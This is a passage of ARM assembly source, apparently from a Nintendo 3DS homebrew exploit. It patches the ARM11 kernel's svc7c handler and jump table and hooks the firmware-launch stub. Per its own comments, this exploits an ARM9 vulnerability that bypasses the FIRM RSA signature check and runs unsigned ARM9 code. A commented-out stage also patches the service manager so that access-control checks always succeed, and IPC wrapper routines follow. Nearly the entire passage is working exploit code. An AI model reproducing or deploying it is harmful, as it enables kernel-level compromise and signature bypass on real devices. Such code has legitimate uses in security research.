r1, #0xa 690 | mov r2, #0 691 | ldr r3, =0x80000300 692 | ldr r6, [sp] 693 | @ldr r6, =0xfff68298 @=0xfff68148 694 | blx r6 @ Allocate 0xa-pages in the APPLICATION memregion. 695 | 696 | cmp r0, #0 697 | bne write_kernel_patches_memallocdone 698 | 699 | ldr r1, =0x4040FF02 700 | bl fail_thumb 701 | 702 | write_kernel_patches_memallocdone: 703 | mov r6, r0 704 | blx arm9code_codeblkptr_getadr 705 | mov r2, r0 706 | mov r0, r6 707 | 708 | adr r1, arm11kernel_stubcode 709 | sub r2, r2, r1 710 | ldr r3, =0x1000 711 | add r0, r0, r3 712 | ldr r3, [sp, #0x18] 713 | add r2, r2, r3 714 | str r0, [r2] 715 | 716 | ldr r1, [sp, #4] 717 | str r1, [r2, #4] 718 | 719 | ldr r3, =0x1000 720 | mov r1, r7 721 | add r1, r1, r3 722 | ldr r2, =0x8000 723 | 724 | write_kernel_patches_codecpylp: @ Copy the arm9code loaded from SD to the above allocbuf+0x1000. 725 | ldr r3, [r1] 726 | str r3, [r0] 727 | add r1, r1, #4 728 | add r0, r0, #4 729 | sub r2, r2, #4 730 | cmp r2, #0 731 | bge write_kernel_patches_codecpylp 732 | 733 | @ Patch the code eventually executed via svc7c type0 which copies the firmlaunch-params kernel buffer to FCRAM+0, so that it clears the 0x1000-bytes @ FCRAM+0 instead. 734 | /*ldr r2, =0xFFF70000 735 | ldr r3, =0xEFFDF000 736 | ldr r0, =0xfff76b04 737 | mov r1, r0 738 | sub r1, r1, r2 739 | add r1, r1, r3*/ 740 | 741 | mov r0, #0 742 | ldr r1, =0x80000 743 | ldr r2, =0x00044836 744 | 745 | write_kernel_patches_locatecode0: 746 | ldr r3, [r4, r0] 747 | cmp r2, r3 748 | beq write_kernel_patches_locatecode0_end 749 | 750 | add r0, r0, #4 751 | cmp r0, r1 752 | blt write_kernel_patches_locatecode0 753 | 754 | ldr r1, =0x4040FF03 755 | bl fail_thumb 756 | 757 | write_kernel_patches_locatecode0_end: 758 | ldr r2, =0xe3a0020f @ "mov r0, #0xf0000000" 759 | ldr r3, =0x1000 760 | mov r1, r7 761 | add r1, r1, r3 762 | sub r1, r1, #4 763 | ldrb r1, [r1] 764 | cmp r1, #44 765 | blt write_kernel_patches_locatecode1 766 | 767 | ldr r2, =0xe3a0020e @ "mov r0, #0xe0000000" 768 | 769 | write_kernel_patches_locatecode1: 770 | ldr r3, [r4, r0] 771 | cmp r2, r3 772 | beq write_kernel_patches_locatecode1_end 773 | 774 | sub r0, r0, #4 775 | cmp r0, #0 776 | bge write_kernel_patches_locatecode1 777 | 778 | ldr r1, =0x4040FF04 779 | bl fail_thumb 780 | 781 | write_kernel_patches_locatecode1_end: 782 | mov r1, r4 783 | add r1, r1, r0 784 | sub r1, r1, #4 785 | 786 | /*mov r2, #0 787 | str r2, [r1, #0] @ Overwrite the following instruction with val0: "ldr r1, [r4, #0x28]". 788 | 789 | ldr r2, [r1, #8] @ Change the register used for "mov r2, #0x1000" to r1. 790 | ldr r3, =0xf000 791 | bic r2, r2, r3 792 | ldr r3, =0x1000 793 | orr r2, r2, r3 794 | str r2, [r1, #8] 795 | 796 | mov r6, r1 797 | add r6, r6, #0xc 798 | 799 | adr r1, arm11kernel_stubcode_memclear 800 | adr r3, arm11kernel_stubcode 801 | sub r1, r1, r3 802 | ldr r3, =0x1000 803 | add r3, r3, r5 804 | add r1, r1, r3 805 | 806 | add r0, r0, #0xc 807 | mov r2, #1 808 | blx generate_branch 809 | str r0, [r6] @ Patch the "bl memcpy32" instruction so that it calls arm11kernel_stubcode_memclear instead.*/ 810 | 811 | mov r6, r1 812 | 813 | adr r1, arm11kernel_stubcode_memclear 814 | adr r3, arm11kernel_stubcode 815 | sub r1, r1, r3 816 | ldr r3, [sp, #0x1c] 817 | add r1, r1, r3 818 | 819 | ldr r2, =0xe51f3000 @ "ldr r3, [pc, #-0]" 820 | str r2, [r6, #0] 821 | ldr r2, =0xe12fff33 @ "blx r3" 822 | str r2, [r6, #4] 823 | str r1, [r6, #8] 824 | 825 | /*ldr r0, =0xfff64b04 826 | mov r1, r0 827 | sub r1, r1, r5 828 | add r1, r1, r4 829 | ldr r2, =0x1000 830 | add r2, r2, r5*/ 831 | 832 | mov r0, #0 833 | ldr r1, =0x80000 834 | ldr r2, =0x00040138 835 | 836 | write_kernel_patches_locatecode2: @ Locate the FIRM tidhigh 0x00040138 word in the svc7c handler .pool. 837 | ldr r3, [r4, r0] 838 | cmp r2, r3 839 | beq write_kernel_patches_locatecode2_end 840 | 841 | add r0, r0, #4 842 | cmp r0, r1 843 | blt write_kernel_patches_locatecode2 844 | 845 | ldr r1, =0x4040FF05 846 | bl fail_thumb 847 | 848 | write_kernel_patches_locatecode2_end: @ Locate the ldrcc instruction used for the svc7c switch statement, used for the input type paramater. 849 | ldr r2, =0x379ff107 @ "ldrcc pc, [pc, *]" 850 | ldr r6, =0xFC5FF000 851 | and r2, r2, r6 852 | 853 | write_kernel_patches_locatecode3: 854 | ldr r3, [r4, r0] 855 | and r3, r3, r6 856 | cmp r2, r3 857 | beq write_kernel_patches_locatecode3_end 858 | 859 | sub r0, r0, #4 860 | cmp r0, #0 861 | bge write_kernel_patches_locatecode3 862 | 863 | ldr r1, =0x4040FF06 864 | bl fail_thumb 865 | 866 | write_kernel_patches_locatecode3_end: 867 | mov r1, r4 868 | add r1, r1, r0 869 | add r1, r1, #8 870 | 871 | adr r0, arm11kernel_stubcode_svc7ctype0_originaladdr 872 | adr r3, arm11kernel_stubcode 873 | sub r0, r0, r3 874 | ldr r3, [sp, #0x18] 875 | add r0, r0, r3 876 | mov r6, r0 877 | 878 | ldr r2, [sp, #0x1c] 879 | 880 | ldr r0, [r1] 881 | str r0, [r6] @ Write the jump-addr which will be overwritten by the following instruction, to arm11kernel_stubcode_svc7ctype0_originaladdr. 882 | str r2, [r1] @ Patch the jump-addr for svc7c type0 in the switch-statement jump-table, so that it jumps to arm11kernel_stubcode+0 instead. 883 | 884 | @ The following patches the code which copies the firm-stub for core0, so that it copies the below stub there instead. 885 | arm11kernel_firmstubinit_start: 886 | /*ldr r0, =0xFFFF0000 887 | ldr r1, =0xEFFF4000 888 | ldr r2, =0xffff0978 889 | sub r2, r2, r0 890 | add r2, r2, r1*/ 891 | 892 | mov r0, #0 893 | ldr r1, =0x80000 894 | ldr r2, =0x1ffffc00 895 | 896 | write_kernel_patches_locatecode4: 897 | ldr r3, [r4, r0] 898 | cmp r2, r3 899 | beq write_kernel_patches_locatecode4_end 900 | 901 | add r0, r0, #4 902 | cmp r0, r1 903 | blt write_kernel_patches_locatecode4 904 | 905 | ldr r1, =0x4040FF07 906 | bl fail_thumb 907 | 908 | write_kernel_patches_locatecode4_end: 909 | mov r2, r4 910 | add r2, r2, r0 911 | sub r2, r2, #0x40 912 | 913 | ldr r3, =0xe59f0010 @ Patch the "add rX, pc, #" instructions with the below instructions. 914 | str r3, [r2, #0] @ "ldr r0, [pc, #0x10]" 915 | ldr r3, =0xe59f1010 916 | str r3, [r2, #4] @ "ldr r1, [pc, #0x10]" 917 | add r2, r2, #0x18 918 | 919 | adr r6, firmstub_core0 920 | adr r3, arm11kernel_stubcode 921 | sub r6, r6, r3 922 | 923 | ldr r3, [sp, #0x18] @ Set the source-stub start/end addresses used by the above instructions. 924 | lsl r3, r3, #4 925 | lsr r3, r3, #4 926 | mov r1, #1 927 | lsl r1, r1, #28 928 | orr r3, r3, r1 929 | add r3, r3, r6 930 | mov r1, r3 931 | str r3, [r2, #0] 932 | 933 | adr r0, firmstub_core0_end 934 | adr r3, firmstub_core0 935 | sub r0, r0, r3 936 | 937 | mov r3, r1 938 | add r3, r3, r0 939 | str r3, [r2, #4] 940 | 941 | ldr r3, [sp, #0x18] @ Write the physical addresses of the below arm9code start/end in the arm11kernel_stubcode region, to AXIWRAM+0x1004. 942 | lsl r3, r3, #4 943 | lsr r3, r3, #4 944 | mov r1, #1 945 | lsl r1, r1, #28 946 | orr r3, r3, r1 947 | mov r6, r3 948 | 949 | ldr r0, [sp, #0x18] 950 | add r0, r0, #4 951 | adr r2, arm9code_start 952 | adr r3, arm11kernel_stubcode 953 | sub r2, r2, r3 954 | add r2, r2, r6 955 | str r2, [r0] 956 | 957 | adr r2, arm9code_end 958 | adr r3, arm11kernel_stubcode 959 | sub r2, r2, r3 960 | add r2, r2, r6 961 | str r2, [r0, #4] 962 | 963 | ldr r0, [sp, #0x18] 964 | adr r2, arm11kernel_stubcode 965 | adr r3, arm11kernel_stubcode_new3dsflag 966 | sub r3, r3, r2 967 | add r3, r3, r0 968 | mov r1, r7 969 | ldr r2, =0x1000 970 | add r1, r1, r2 971 | sub r1, r1, #8 972 | ldr r1, [r1] 973 | str r1, [r3] 974 | 975 | #ifdef DUMP_AXIWRAM_AFTERPATCHES 976 | ldr r0, =0xDFF80000 977 | ldr r1, =DUMPMEMGPU_ADR 978 | ldr r2, =0x80000 979 | 980 | kernelmode_patchfs_L0_cpy: 981 | ldr r3, [r0] 982 | str r3, [r1] 983 | add r0, r0, #4 984 | add r1, r1, #4 985 | sub r2, r2, #4 986 | cmp r2, #0 987 | bgt kernelmode_patchfs_L0_cpy 988 | #endif 989 | 990 | write_kernel_patches_end: 991 | blx kernelpatchesfinish_cachestuff 992 | 993 | add sp, sp, #0x20 994 | pop {r4, r5, r6, r7, pc} 995 | .pool 996 | 997 | /*kernelmode_code_stage2: 998 | cpsid i @ disable IRQs 999 | mov r0, sp 1000 | ldr r1, =0x18B42000 1001 | mov sp, r1 1002 | push {r0} 1003 | push {lr} 1004 | 1005 | mov r1, r3 @ sm module process-handle 1006 | ldr r2, =0xfff67d9c 1007 | ldr r0, =0xffff9004 1008 | ldr r3, =0xcc 1009 | ldr r0, [r0] 1010 | add r0, r0, r3 1011 | blx r2 @ gethandle_objptr @ Get the sm module KProcess ptr. 1012 | mov r3, #1 1013 | cmp r0, #0 1014 | beq kernelmode_code_stage2_end 1015 | 1016 | add r0, r0, #0x54 @ Get the physical address of the below vaddr in sm module, then patch the code there so that the service-access-control check function always returns success. 1017 | ldr r1, =0x10182c 1018 | ldr r2, =0xfff6b810 1019 | blx r2 @ KProcessmem_getphysicaladdr 1020 | mov r3, #2 1021 | cmp r0, #0 1022 | beq kernelmode_code_stage2_end 1023 | 1024 | ldr r1, =0xD0000000 @ Convert the physical addr to kernel FCRAM vaddr. 1025 | add r0, r0, r1 1026 | 1027 | mov r2, #1 @ Write the patch mentioned above. 1028 | ldr r1, [r0] 1029 | orr r1, r1, r2 1030 | str r1, [r0] 1031 | 1032 | blx kernelpatchesfinish_cachestuff 1033 | 1034 | mov r3, #0 1035 | 1036 | kernelmode_code_stage2_end: 1037 | pop {r0} 1038 | mov lr, r0 1039 | pop {r0} 1040 | mov sp, r0 1041 | cpsie i @ enable IRQs 1042 | bx lr 1043 | .pool*/ 1044 | 1045 | .arm 1046 | 1047 | .type arm9code_codeblkptr_getadr, %function 1048 | arm9code_codeblkptr_getadr: 1049 | adr r0, arm9code_codeblkptr 1050 | bx lr 1051 | 1052 | arm11kernel_stubcode: 1053 | b arm11kernel_svc7c_type0hook 1054 | 1055 | .word 0 @ arm9code start addr, used by firmstub_core0 1056 | .word 0 @ arm9code end addr, used by firmstub_core0 1057 | 1058 | arm11kernel_stubcode_svc7ctype0_originaladdr: 1059 | .word 0 1060 | 1061 | arm11kernel_stubcode_new3dsflag: 1062 | .word 0 1063 | 1064 | arm11kernel_svc7c_type0hook: @ Hook for svc7c type0, via patching the jump-table used by the switch-statement. r5 is the FIRM programID-low. 1065 | lsr r5, r5, #16 1066 | lsl r5, r5, #16 1067 | orr r5, r5, #2 @ Overwrite the low 16-bits of the FIRM programID-low with 0x2, for NATIVE_FIRM. 1068 | ldr pc, arm11kernel_stubcode_svc7ctype0_originaladdr 1069 | .pool 1070 | 1071 | arm11kernel_stubcode_memclear: @ This is called by the patched kernel code which writes to the FCRAM+0 FIRM paramaters buffer. 1072 | ldr r0, arm9code_kernelfcramvaddr_base 1073 | mov r1, #0x1000 1074 | mov r2, #0 1075 | 1076 | arm11kernel_stubcode_memclearlp: 1077 | str r2, [r0], #4 1078 | subs r1, r1, #4 1079 | bgt arm11kernel_stubcode_memclearlp 1080 | 1081 | add lr, lr, #4 1082 | bx lr 1083 | 1084 | firmstub_core0: @ This is the final block of code executed on ARM11 core0 before jumping to the kernel entrypoint. This code is used to exploit an arm9 vuln during FIRM launch: the only FIRM header block the arm9 uses is the one stored in FCRAM @ 0x24000000(also used for the RSA signature-check). This is exploited with this ARM11 stub. 1085 | @ Note that the MMU is disabled at this point. 1086 | blx firmstub_core0_thumbstart 1087 | .thumb 1088 | firmstub_core0_thumbstart: 1089 | ldr r1, =0x1FFF4D04 @ Copy the arm9code to FCRAM+0x1000. 1090 | ldr r2, [r1, #0] @ arm9code start 1091 | ldr r3, [r1, #4] @ arm9code end 1092 | ldr r1, =0x20001000 1093 | 1094 | firmstub_core0_cpycode: 1095 | ldr r0, [r2] 1096 | str r0, [r1] 1097 | add r2, r2, #4 1098 | add r1, r1, #4 1099 | cmp r2, r3 1100 | blt firmstub_core0_cpycode 1101 | 1102 | #ifdef DUMP_ARM11BOOTROM 1103 | mov r2, #0 1104 | ldr r1, =0x18600000 1105 | ldr r3, =0x10000 1106 | sub r1, r1, r3 1107 | firmstub_core0_dumplp: 1108 | ldr r0, [r2], #4 1109 | str r0, [r1], #4 1110 | cmp r2, r3 1111 | blt firmstub_core0_dumplp 1112 | #endif 1113 | 1114 | firmstub_core0_begin: 1115 | ldr r3, =0x1ffffffc 1116 | mov r0, #0 1117 | str r0, [r3] 1118 | 1119 | ldr r3, =0x1FF80000 1120 | 1121 | mov r2, #0 1122 | str r2, [r3] 1123 | 1124 | ldr r1, =0x10163008 1125 | ldr r2, =0x00044846 1126 | str r2, [r1] @ Send the last PXI word to the arm9. 1127 | 1128 | mov r2, #0 1129 | firmstub_core0_loadwait: @ Wait for the first word of the arm11kernel section to get loaded, which is after the FIRM RSA signature check. 1130 | ldr r1, [r3] 1131 | cmp r1, r2 1132 | beq firmstub_core0_loadwait 1133 | 1134 | ldr r1, =(0x4d524946+0x10) 1135 | sub r1, r1, #0x10 1136 | ldr r0, =0x24000000 @ Check that the plaintext FIRM header is really stored at 0x24000000. When it isn't, skip the FIRM header code below. 1137 | ldr r3, [r0] 1138 | 1139 | cmp r3, r1 1140 | bne firmstub_core0_entrypointwaitbegin 1141 | 1142 | ldr r1, =0x20001000 1143 | ldr r3, [r0, #0xc] 1144 | str r3, [r1, #4] @ Write the original arm9 FIRM entrypoint to arm9code+4. 1145 | str r1, [r0, #0xc] @ Overwrite the arm9 FIRM entrypoint(in the FIRM header) with the arm9code address. 1146 | 1147 | firmstub_core0_entrypointwaitbegin: 1148 | ldr r3, =0x1ffffffc 1149 | firmstub_core0_entrypointwaitlp: @ Wait for the arm9 to set the arm11 FIRM entrypoint ptr, the arm9 sets this right before executing a "pop" instruction followed by jumping to the arm9 FIRM entrypoint. 1150 | ldr r0, [r3] 1151 | cmp r0, #0 1152 | beq firmstub_core0_entrypointwaitlp 1153 | bx r0 1154 | .pool 1155 | 1156 | .arm 1157 | 1158 | firmstub_core0_end: 1159 | .word 0 1160 | 1161 | @ This arm9 code is executed by hooking the FIRM arm9 entrypoint ptr: the FIRM arm9 entrypoint is set to the address of arm9code_start, and the original entrypoint is written to arm9code_firmentrypoint. 1162 | @ This code is located at FCRAM+0x1000, therefore this code will be cleared by the arm11-kernel when it clears the entire FCRAM, when this jumps to the original arm9 entrypoint. 1163 | @ Registers don't have to be saved here since the kernel will clear them once this jumps to the entrypoint anyway. 1164 | arm9code_start: 1165 | b arm9code_codestart 1166 | 1167 | arm9code_firmentrypoint: 1168 | .word 0 1169 | 1170 | arm9code_codeblkptr: 1171 | .word 0 @ ARM11-kernel vaddr ptr to the memory block for the arm9code. 1172 | 1173 | arm9code_kernelfcramvaddr_base: 1174 | .word 0 1175 | 1176 | arm9code_codestart: 1177 | ldr r0, arm9code_codeblkptr @ Validate the arm9code_codeblkptr address + convert it to physmem. 1178 | cmp r0, #0 1179 | beq arm9code_code_end 1180 | 1181 | ldr r2, arm9code_kernelfcramvaddr_base 1182 | lsr r1, r0, #28 1183 | lsr r2, r2, #28 1184 | cmp r1, r2 1185 | beq arm9code_code_convframeaddr 1186 | 1187 | lsl r1, r0, #4 @ VRAM 1188 | lsr r1, r1, #4 1189 | mov r2, #1 1190 | lsl r2, r2, #28 1191 | orr r1, r1, r2 1192 | mov r0, r1 1193 | b arm9code_code_loadstart 1194 | 1195 | arm9code_code_convframeaddr: 1196 | ldr r1, arm9code_kernelfcramvaddr_base 1197 | ldr r2, =0x20000000 1198 | sub r1, r1, r2 1199 | sub r0, r0, r1 @ Convert kernel FCRAM vaddr ptr to physical. 1200 | 1201 | arm9code_code_loadstart: 1202 | ldr r3, [r0] 1203 | ldr r1, =0x39444f43 1204 | cmp r1, r3 1205 | bne arm9code_code_end 1206 | ldr r2, [r0, #4] @ Size 1207 | ldr r1, [r0, #8] @ loadaddr 1208 | add r0, r0, #12 @ src 1209 | add r2, r2, r0 1210 | mov r4, r1 1211 | 1212 | arm9code_cpylp: 1213 | ldr r3, [r0], #4 1214 | str r3, [r1], #4 1215 | cmp r0, r2 1216 | blt arm9code_cpylp 1217 | 1218 | ldr lr, arm9code_firmentrypoint 1219 | bx r4 1220 | 1221 | arm9code_code_end: 1222 | ldr pc, arm9code_firmentrypoint 1223 | 1224 | .pool 1225 | 1226 | .thumb 1227 | 1228 | arm9fail: 1229 | ldr r0, =0x58584148 1230 | blx r0 1231 | .pool 1232 | 1233 | arm9code_end: 1234 | .word 0 1235 | 1236 | .arm 1237 | arm11kernel_stubcode_end: 1238 | .word 0 1239 | 1240 | arm11kernel_stubcode_end_getadr: 1241 | sub r0, pc, #12 1242 | bx lr 1243 | 1244 | .thumb 1245 | 1246 | aptipc_reboot: 1247 | push {r0, r4, r5, r6, lr} 1248 | sub sp, sp, #12 1249 | str r2, [sp, #0] 1250 | str r3, [sp, #4] 1251 | blx get_cmdbufptr 1252 | mov r4, r0 1253 | 1254 | ldr r1, =0x00490180 1255 | str r1, [r4] 1256 | ldr r2, [sp, #0] 1257 | ldr r3, [sp, #4] 1258 | str r2, [r4, #4] 1259 | str r3, [r4, #8] @ Application titleID/programID. 1260 | mov r2, #0 1261 | ldr r3, [sp, #32] 1262 | str r2, [r4, #12] @ u8 mediatype 1263 | str r2, [r4, #16] @ reserved u32 in titleinfo structure 1264 | str r2, [r4, #20] @ u8 value 1265 | str r3, [r4, #24] @ FIRM titleID/programID-low 1266 | 1267 | ldr r0, [sp, #12] 1268 | ldr r0, [r0] 1269 | blx svcSendSyncRequest 1270 | 1271 | mov r5, r0 1272 | cmp r5, #0 1273 | bne aptipc_reboot_end 1274 | ldr r5, [r4, #4] 1275 | 1276 | aptipc_reboot_end: 1277 | mov r0, r5 1278 | add sp, sp, #12 1279 | add sp, sp, #4 1280 | pop {r4, r5, r6, pc} 1281 | .pool 1282 | 1283 | nss_LaunchFIRM: @ r0=handle*, r1/r2=app programID 1284 | push {r0, r1, r2, r4, lr} 1285 | blx get_cmdbufptr 1286 | mov r4, r0 1287 | 1288 | ldr r1, =0x000100C0 1289 | ldr r2, [sp, #4] 1290 | ldr r3, [sp, #8] 1291 | str r1, [r4, #0] 1292 | str r2, [r4, #4] 1293 | str r3, [r4, #8] 1294 | mov r1, #0 1295 | str r1, [r4, #12] 1296 | 1297 | ldr r0, [sp, #0] 1298 | ldr r0, [r0] 1299 | blx svcSendSyncRequest 1300 | cmp r0, #0 1301 | bne nss_LaunchFIRM_end 1302 | ldr r0, [r4, #4] 1303 | 1304 | nss_LaunchFIRM_end: 1305 | add sp, sp, #12 1306 | pop {r4, pc} 1307 | .pool 1308 | 1309 | nss_LaunchApplicationFIRM: @ r0=handle*, r1/r2=app programID 1310 | push {r0, r1, r2, r4, lr} 1311 | blx get_cmdbufptr 1312 | mov r4, r0 1313 | 1314 | ldr r1, =0x000500C0 1315 | ldr r2, [sp, #4] 1316 | ldr r3, [sp, #8] 1317 | str r1, [r4, #0] 1318 | str r2, [r4, #4] 1319 | str r3, [r4, #8] 1320 | mov r1, #2 1321 | str r1, [r4, #12] 1322 | 1323 | ldr r0, [sp, #0] 1324 | ldr r0, [r0] 1325 | blx svcSendSyncRequest 1326 | cmp r0, #0 1327 | bne nss_LaunchApplicationFIRM_end 1328 | ldr r0, [r4, #4] 1329 | 1330 | nss_LaunchApplicationFIRM_end: 1331 | add sp, sp, #12 1332 | pop {r4, pc} 1333 | .pool 1334 | 1335 | APT_OpenSession: @ r0=srv handle*, r1=out apt handle* 1336 | push {r0, r1, lr} 1337 | blx get_aptu_servname 1338 | mov r2, r0 1339 | ldr r0, [sp, #0] 1340 | ldr r1, [sp, #4] 1341 | bl srv_GetServiceHandle 1342 | ldr r1, =0xd8e06406 1343 | cmp r0, r1 1344 | beq APT_OpenSession_apta 1345 | bl throw_fatalerr_errcheck 1346 | b APT_OpenSession_end 1347 | 1348 | APT_OpenSession_apta: 1349 | blx get_apta_servname 1350 | mov r2, r0 1351 | ldr r0, [sp, #0] 1352 | ldr r1, [sp, #4] 1353 | bl srv_GetServiceHandle 1354 | bl throw_fatalerr_errcheck 1355 | 1356 | APT_OpenSession_end: 1357 | add sp, sp, #8 1358 | pop {pc} 1359 | 1360 | APT_CloseSession: @ r0=apt handle* 1361 | push {lr} 1362 | ldr r0, [r0] 1363 | blx svcCloseHandle 1364 | pop {pc} 1365 | 1366 | APT_IsRegistered: @ inr0=handle*, inr1=NS_APPID appID, inr2=u8* out 1367 | push {r0, r1, r2, r3, r4, r5, lr} 1368 | blx get_cmdbufptr 1369 | mov r4, r0 1370 | 1371 | ldr r0, [sp, #0] 1372 | 1373 | ldr r5, =0x00090040 1374 | str r5, [r4, #0] 1375 | ldr r1, [sp, #4] 1376 | str r1, [r4, #4] 1377 | 1378 | ldr r0, [r0] 1379 | blx svcSendSyncRequest 1380 | cmp r0, #0 1381 | bne APT_IsRegistered_end 1382 | ldr r0, [r4, #4] 1383 | cmp r0, #0 1384 | bne APT_IsRegistered_end 1385 | 1386 | ldrb r1, [r4, #8] 1387 | ldr r2, [sp, #8] 1388 | strb r1, [r2] 1389 | 1390 | APT_IsRegistered_end: 1391 | add sp, sp, #16 1392 | pop {r4, r5, pc} 1393 | .pool 1394 | 1395 | APT_ReceiveParameter: @ r0=apt handle*, r1=appID, r2=parambuf*, r3=maxparambufsize, insp0=handle* 1396 | push {r0, r1, r2, r3, r4, r5, lr} 1397 | sub sp, sp, #8 1398 | blx get_cmdbufptr 1399 | mov r4, r0 1400 | 1401 | ldr r0, [sp, #8] 1402 | 1403 | ldr r3, =0x100 1404 | add r3, r3, r4 1405 | ldr r2, [r3, #0] 1406 | str r2, [sp, #0] 1407 | ldr r2, [r3, #4] 1408 | str r2, [sp, #4] 1409 | 1410 | ldr r5, =0x000D0080 1411 | str r5, [r4, #0] 1412 | ldr r1, [sp, #12] 1413 | str r1, [r4, #4] 1414 | ldr r1, [sp, #20] 1415 | str r1, [r4, #8] 1416 | mov r2, #2 1417 | lsl r1, r1, #14 1418 | orr r1, r1, r2 1419 | str r1, [r3, #0] 1420 | ldr r1, [sp, #16] 1421 | str r1, [r3, #4] 1422 | 1423 | ldr r0, [r0] 1424 | blx svcSendSyncRequest 1425 | cmp r0, #0 1426 | bne APT_ReceiveParameter_end 1427 | ldr r0, [r4, #4] 1428 | ldr r1, [sp, #36] 1429 | cmp r1, #0 1430 | beq APT_ReceiveParameter_end 1431 | ldr r2, [r4, #24] 1432 | str r2, [r1] 1433 | 1434 | APT_ReceiveParameter_end: 1435 | ldr r3, =0x100 1436 | add r3, r3, r4 1437 | ldr r2, [sp, #0] 1438 | str r2, [r3, #0] 1439 | ldr r2, [sp, #4] 1440 | str r2, [r3, #4] 1441 | 1442 | add sp, sp, #24 1443 | pop {r4, r5, pc} 1444 | .pool 1445 | 1446 | APT_PreloadLibraryApplet: @ inr0=handle*, inr1=NS_APPID appID 1447 | push {r0, r1, r2, r3, r4, r5, lr} 1448 | blx get_cmdbufptr 1449 | mov r4, r0 1450 | 1451 | ldr r0, [sp, #0] 1452 | 1453 | ldr r5, =0x00160040 1454 | str r5, [r4, #0] 1455 | ldr r1, [sp, #4] 1456 | str r1, [r4, #4] 1457 | 1458 | ldr r0, [r0] 1459 | blx svcSendSyncRequest 1460 | cmp r0, #0 1461 | bne APT_PreloadLibraryApplet_end 1462 | ldr r0, [r4, #4] 1463 | 1464 | APT_PreloadLibraryApplet_end: 1465 | add sp, sp, #16 1466 | pop {r4, r5, pc} 1467 | .pool 1468 | 1469 | APT_FinishPreloadingLibraryApplet: @ inr0=handle*, inr1=NS_APPID appID 1470 | push {r0, r1, r2, r3, r4, r5, lr} 1471 | blx get_cmdbufptr 1472 | mov r4, r0 1473 | 1474 | ldr r0, [sp, #0] 1475 | 1476 | ldr r5, =0x00170040 1477 | str r5, [r4, #0] 1478 | ldr r1, [sp, #4] 1479 | str r1, [r4, #4] 1480 | 1481 | ldr r0, [r0] 1482 | blx svcSendSyncRequest 1483 | cmp r0, #0 1484 | bne APT_FinishPreloadingLibraryApplet_end 1485 | ldr r0, [r4, #4] 1486 | 1487 | APT_FinishPreloadingLibraryApplet_end: 1488 | add sp, sp, #16 1489 | pop {r4, r5, pc} 1490 | .pool 1491 | 1492 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 1493 | APT_PrepareToStartSystemApplet: @ inr0=handle*, inr1=NS_APPID appID 1494 | push {r0, r1, r2, r3, r4, r5, lr} 1495 | blx get_cmdbufptr 1496 | mov r4, r0 1497 | 1498 | ldr r0, [sp, #0] 1499 | 1500 | ldr r5, =0x00190040 1501 | str r5, [r4, #0] 1502 | ldr r1, [sp, #4] 1503 | str r1, [r4, #4] 1504 | 1505 | ldr r0, [r0] 1506 | blx svcSendSyncRequest 1507 | cmp r0, #0 1508 | bne APT_PrepareToStartSystemApplet_end 1509 | ldr r0, [r4, #4] 1510 | 1511 | APT_PrepareToStartSystemApplet_end: 1512 | add sp, sp, #16 1513 | pop {r4, r5, pc} 1514 | .pool 1515 | 1516 | APT_StartSystemApplet: @ inr0=handle*, inr1=appid, inr2=inhandle, inr3=u32 bufsize, insp0=u32* buf 1517 | push {r0, r1, r2, r3, r4, r5, lr} 1518 | blx get_cmdbufptr 1519 | mov r4, r0 1520 | 1521 | ldr r0, [sp, #0] 1522 | 1523 | ldr r5, =0x001F0084 1524 | str r5, [r4, #0] 1525 | ldr r1, [sp, #4] @ appid 1526 | str r1, [r4, #4] 1527 | mov r1, #0 1528 | str r1, [r4, #12] 1529 | ldr r1, [sp, #8] @ inhandle 1530 | str r1, [r4, #16] 1531 | ldr r1, [sp, #12] @ bufsize 1532 | str r1, [r4, #8] 1533 | mov r3, #2 1534 | lsl r1, r1, #14 1535 | orr r1, r1, r3 1536 | str r1, [r4, #20] 1537 | ldr r1, [sp, #28] @ buf0 1538 | str r1, [r4, #24] 1539 | 1540 | ldr r0, [r0] 1541 | blx svcSendSyncRequest 1542 | cmp r0, #0 1543 | bne APT_StartSystemApplet_end 1544 | ldr r0, [r4, #4] 1545 | 1546 | APT_StartSystemApplet_end: 1547 | add sp, sp, #16 1548 | pop {r4, r5, pc} 1549 | .pool 1550 | #endif 1551 | 1552 | APT_PrepareToDoApplicationJump: @ inr0=handle*, inr1=u32 tidLow, inr2=u32 tidHigh, inr3=u8 mediatype, insp0=u8 flags 1553 | push {r0, r1, r2, r3, r4, r5, lr} 1554 | blx get_cmdbufptr 1555 | mov r4, r0 1556 | 1557 | ldr r0, [sp, #0] 1558 | 1559 | ldr r5, =0x00310100 1560 | str r5, [r4, #0] 1561 | ldr r1, [sp, #28] @ flags 1562 | str r1, [r4, #4] 1563 | ldr r1, [sp, #4] @ TID 1564 | str r1, [r4, #8] 1565 | ldr r1, [sp, #8] 1566 | str r1, [r4, #12] 1567 | ldr r1, [sp, #12] @ mediatype 1568 | str r1, [r4, #16] 1569 | 1570 | ldr r0, [r0] 1571 | blx svcSendSyncRequest 1572 | cmp r0, #0 1573 | bne APT_PrepareToDoApplicationJump_end 1574 | ldr r0, [r4, #4] 1575 | 1576 | APT_PrepareToDoApplicationJump_end: 1577 | add sp, sp, #16 1578 | pop {r4, r5, pc} 1579 | .pool 1580 | 1581 | APT_DoApplicationJump: @ inr0=handle*, inr1=u32 size0, inr2=u32 size1, inr3=u32* buf0, insp0=u32* buf1 1582 | push {r0, r1, r2, r3, r4, r5, lr} 1583 | blx get_cmdbufptr 1584 | mov r4, r0 1585 | 1586 | ldr r0, [sp, #0] 1587 | 1588 | ldr r5, =0x00320084 1589 | str r5, [r4, #0] 1590 | ldr r1, [sp, #4] @ size0 1591 | str r1, [r4, #4] 1592 | ldr r2, [sp, #8] @ size1 1593 | str r2, [r4, #8] 1594 | mov r3, #2 1595 | lsl r1, r1, #14 1596 | orr r1, r1, r3 1597 | str r1, [r4, #12] 1598 | ldr r3, =0x802 1599 | lsl r2, r2, #14 1600 | orr r2, r2, r3 1601 | str r2, [r4, #20] 1602 | ldr r1, [sp, #12] @ buf0 1603 | str r1, [r4, #16] 1604 | ldr r1, [sp, #28] @ buf1 1605 | str r1, [r4, #24] 1606 | 1607 | ldr r0, [r0] 1608 | blx svcSendSyncRequest 1609 | cmp r0, #0 1610 | bne APT_DoApplicationJump_end 1611 | ldr r0, [r4, #4] 1612 | 1613 | APT_DoApplicationJump_end: 1614 | add sp, sp, #16 1615 | pop {r4, r5, pc} 1616 | .pool 1617 | 1618 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 1619 | 